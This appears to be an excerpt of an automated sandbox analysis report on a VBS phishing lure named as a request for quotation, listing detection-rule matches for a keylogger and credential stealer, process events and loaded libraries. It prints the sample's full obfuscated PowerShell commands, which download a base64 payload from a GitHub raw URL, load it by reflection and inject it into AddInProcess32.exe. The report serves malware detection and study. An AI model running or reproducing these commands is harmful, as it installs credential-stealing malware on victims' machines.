Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7092, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F28F2	4_2_00007FFD341F28F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F41FA	4_2_00007FFD341F41FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F29F2	4_2_00007FFD341F29F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F2EDA	4_2_00007FFD341F2EDA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F4EE5	4_2_00007FFD341F4EE5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F32F6	4_2_00007FFD341F32F6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F0EF2	4_2_00007FFD341F0EF2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD341F5BFA	4_2_00007FFD341F5BFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0041F830	5_2_0041F830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00416130	5_2_00416130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00422F50	5_2_00422F50

Source: RFQ-5120240930 VENETA PESCA SRL.vbs

Initial sample: Strings found which are bigger than 50

Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.powershell.exe.22c12cbc703.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7092, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 4256, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, -c.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, -c.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.powershell.exe.22c12cbc703.1.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: powershell.exe, 00000004.00000002.2416249657.0000022C118FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2416249657.0000022C12BC2000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: B*\AD:\Code\Explorer\Explorer.vbp
Source: AddInProcess32.exe, 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: m`P@*\AD:\Code\Explorer\Explorer.vbp

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@8/6@2/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5828:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hpj0nzva.ftc.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
